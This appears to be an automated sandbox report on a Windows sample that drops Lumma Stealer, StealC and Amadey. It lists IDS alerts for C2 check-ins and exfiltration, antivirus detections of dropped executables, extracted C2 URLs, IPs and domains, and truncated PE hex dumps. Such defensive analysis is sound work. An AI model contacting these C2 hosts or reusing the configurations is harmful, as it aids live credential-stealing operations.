Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:04.576616+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	62489	1.1.1.1	53	UDP
2024-10-23T15:49:16.284530+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	50553	1.1.1.1	53	UDP
2024-10-23T15:49:27.961104+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	60489	1.1.1.1	53	UDP
2024-10-23T15:49:38.569971+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.5	64114	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:13.832303+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49710	172.67.206.204	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:27.452844+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49740	185.215.113.37	80	TCP
2024-10-23T15:49:29.904014+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49994	185.215.113.37	80	TCP
2024-10-23T15:49:36.680978+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50003	185.215.113.37	80	TCP
2024-10-23T15:49:50.257640+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	60583	185.215.113.37	80	TCP
2024-10-23T15:50:01.100107+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	60588	185.215.113.37	80	TCP
2024-10-23T15:50:14.813992+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	60598	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:49:05.353645+0200	2856147	1	A Network Trojan was detected	192.168.2.5	49945	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:49:16.939927+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49961	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:49:08.705238+0200	2803305	3	Unknown Traffic	192.168.2.5	49967	185.215.113.16	80	TCP
2024-10-23T15:49:18.868631+0200	2803305	3	Unknown Traffic	192.168.2.5	49990	185.215.113.16	80	TCP
2024-10-23T15:49:27.931997+0200	2803305	3	Unknown Traffic	192.168.2.5	49992	185.215.113.16	80	TCP
2024-10-23T15:49:33.123922+0200	2803305	3	Unknown Traffic	192.168.2.5	49996	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:14.978987+0200	2843864	1	A Network Trojan was detected	192.168.2.5	49711	172.67.206.204	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:48:06.149159+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	104.102.49.254	443	TCP
2024-10-23T15:49:17.811900+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49988	104.102.49.254	443	TCP
2024-10-23T15:49:29.592516+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49993	104.102.49.254	443	TCP
2024-10-23T15:49:40.349549+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	60559	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000003.2321093178.00000000053C0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 35.2.num.exe.480000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: file.exe.5328.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["eaglepawnoy.store", "clearancek.site", "licendfilteo.site", "bathdoomgaz.store", "mobbipenju.store", "spirittunek.store", "dissapoiznw.store", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:60559 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60565 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:60568 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:60573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60605 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:60606 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60609 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60638 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:60639 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:60640 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe, 00000005.00000002.2418802394.0000000000A32000.00000040.00000001.01000000.00000009.sdmp, QDDSFWH7TPMYGYIMIOWX7SBOU5.exe, 00000005.00000003.2283631779.0000000004700000.00000004.00001000.00020000.00000000.sdmp

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 193MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:60795 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:55808 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:54544 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:62507 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:62489 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:56217 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:55511 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:52723 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49740 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49945 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:49292 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:58046 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:52498 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:65031 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:50553 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49961
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:50573 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:58684 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49989 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:59213 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:63391 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:60644 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:56873 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:57306 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:59560 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:64698 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:60489 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49991 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49994 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49995 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:49650 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:52827 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:57069 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:64114 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:49266 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:55530 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50003 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50005 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:60556 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:53807 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:60588 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:60583 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:60598 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:50819 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:58297 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49704 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49710 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49706 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49705 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49711 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49712 -> 172.67.206.204:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49988 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:60559 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49993 -> 104.102.49.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 13:48:18 GMTContent-Type: application/octet-streamContent-Length: 1926656Last-Modified: Wed, 23 Oct 2024 13:34:51 GMTConnection: keep-aliveETag: "6718fb7b-1d6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4c 00 00 04 00 00 ba 03 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 38 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 38 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 74 70 67 62 62 67 6f 00 50 1a 00 00 f0 31 00 00 4a 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 70 69 6a 79 65 69 70 00 10 00 00 00 40 4c 00 00 06 00 00 00 3e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4c 00 00 22 00 00 00 44 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 13:48:21 GMTContent-Type: application/octet-streamContent-Length: 1825792Last-Modified: Wed, 23 Oct 2024 13:34:44 GMTConnection: keep-aliveETag: "6718fb74-1bdc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 e0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 69 00 00 04 00 00 f0 c9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 